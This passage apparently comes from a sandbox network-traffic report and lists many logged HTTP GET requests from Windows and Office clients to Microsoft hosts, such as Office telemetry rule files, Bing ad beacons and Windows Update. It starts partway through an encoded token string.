t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAVELxFvNU03Tg7Z2E/gE9Cn8EXHzmlsS6ZSIkIvIeG0reLUVeJSbilrW4Hy949NAxOwEn76s5zGhqf92S26HHaUbOENiDFUFbdM1vZReXnnesXoMyCYfLgTivUDBuCZGiy3DtAqR3/7WCegRR2nLr2Quk90EkFIqG0+NVg8kHt0LMKT8hOw5b1J/58kNfc77U/ZXbh7o6PPIdgJlJzSJbORYtJ1Kr5jOMvjtJMYCht4qdDwdRDm4ou1qOD9bE4jzDbmOPZIkfGkQGHMiiP/DOwO6letwVYGsBE7LbMe3CUSyztnIj3rFvvAPGB87AP6q2NEvIE/F5S2iYUdodE9KaJYQZgAAEGAcu8N3qd+O11i6BTnPFZ6wAR7a9XVxBwAtBviNmyfFP9NCqGc8ztODCECQnRVrNYhvoKHQwQeKdhrWS4rpz/Tbh5reYJSv5lqmAXW6Wsza64BZXo5xqSamtLC3lum/cETFIl/2E7SpPnJ7YQKaLSAlnpa/FpM8D110FwrWLxYUg7jdUQlrwK14Jbk+EKH+SKCfEquecZ8+3lGLiVCKeftDzi1/lc8gN+Sc2p4S9FOqYvKuiRb+X96+uFOw4PUdhU1NVgl3P4VxH6RaUfUwZYax62B74NMVXH0ga57y7chFsHFI7H3nZIxjZbQgUqSo5JO9LcVhGLQl0WmeRv2Bydt6ShL8XKaVVCvBjPnO90fHp8cLZpM23mNreAE6SpqLibomI7Od/d2AnGJK+M2Drl4G3EFP/73W/vqpftvS7o/miWz2yVEH45p43924E2e6LyCt1GfpW0vAFelQX7PYh9tKBfHZ8Y9BZLb1kqLhIsYp29gnL5bIy37BnK/qM21iZ4lo701nY5c3SsIBbp+KHaYk4HU7HyRIQIZozmlPu74XhObkeonMEP/Tmvj5B7j3W0oLt8n9CfBE1KCwCIWGNohaTtgB&p=Cache-Control: no-cacheMS-CV: 432tsQ/J1USeXdCg.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120666v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120665v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120664v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120663v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172384_1T8ZHTG4V2CH7K983&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120667v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360172398_1SAKF1TLLO2IFUJXJ&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418602_13EDNGC3ZL2WGZFXN&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239340418601_1XRLHD1YRS9ZZSDWX&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120671v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120670v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120668v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120669v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381963595_1GOKBHWMF64DQK79Y&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120672v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239381963596_1EZBDO21TSG77E89L&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360494465_1WL11PE3QHWZ3Q9V1&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239360494466_1NE7RS5P7DA5W3Y3W&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1257493487&PG=PC000P0FR5.0000000IRU&REQASID=7DBFED328BEF47389AA333772CFE252C&UNID=338389&ASID=556f384a579c4323a2cd36d3302ba8a7&&DS_EVTID=7DBFED328BEF47389AA333772CFE252C&DEVOSVER=10.0.19045.2006&REQT=20241208T164505&TIME=20241208T164534Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1257493487&PG=PC000P0FR5.0000000IRU&REQASID=7DBFED328BEF47389AA333772CFE252C&UNID=338389&ASID=556f384a579c4323a2cd36d3302ba8a7&&DS_EVTID=7DBFED328BEF47389AA333772CFE252C&DEVOSVER=10.0.19045.2006&REQT=20241208T164505&TIME=20241208T164534Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=u2l95FzsGhxtNeP&MD=G1WSnhkZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /neg/0?action=impression&rlink=https%3A%2F%2Fwww.bing.com%2Faclick%3Fld%3De85zg5X10W3omnZJAc9BRGwTVUCUxqY9zepHAyEV4XcEeG3K9oLvIOi6Vk3JgXa9GDJHcybAJN6VlWKWfIK4tyQjw0Eoge1b3kMBNkwsEwNwqAhnaDvU7-eWaCMEKEslNDqn8zJvIAqV-qnkqIbRqqTHLY5P6NJxR9BLbqO4LC8Z-tcUy2%26u%3DbWljcm9zb2Z0LWVkZ2UlM2FodHRwcyUzYSUyZiUyZnd3dy5taWNyb3NvZnQuY29tJTJmZWRnZSUyZndpbmRvd3MtZWRnZSUzZmZvY3VzJTNkY29udmVuaW5jZSUyNnNvdXJjZSUzZGlwJTI2ZXMlM2QwJTI2Zm9ybSUzZE01MDBFNyUyNk9DSUQlM2RNNTAwRTc%26rlid%3Da4939fa6d87f145e29c6f8f3154ad8ef&TIME=20241208T164608Z&CID=531538185&EID=531538185&tids=15000&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: g.bing.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /aes/c.gif?RG=387e6c818af84a20af73b19d55725fe4&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241208T164608Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: www.bing.comConnection: Keep-AliveCookie: MUID=0B32081D44BA686A122B1D5245126918
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
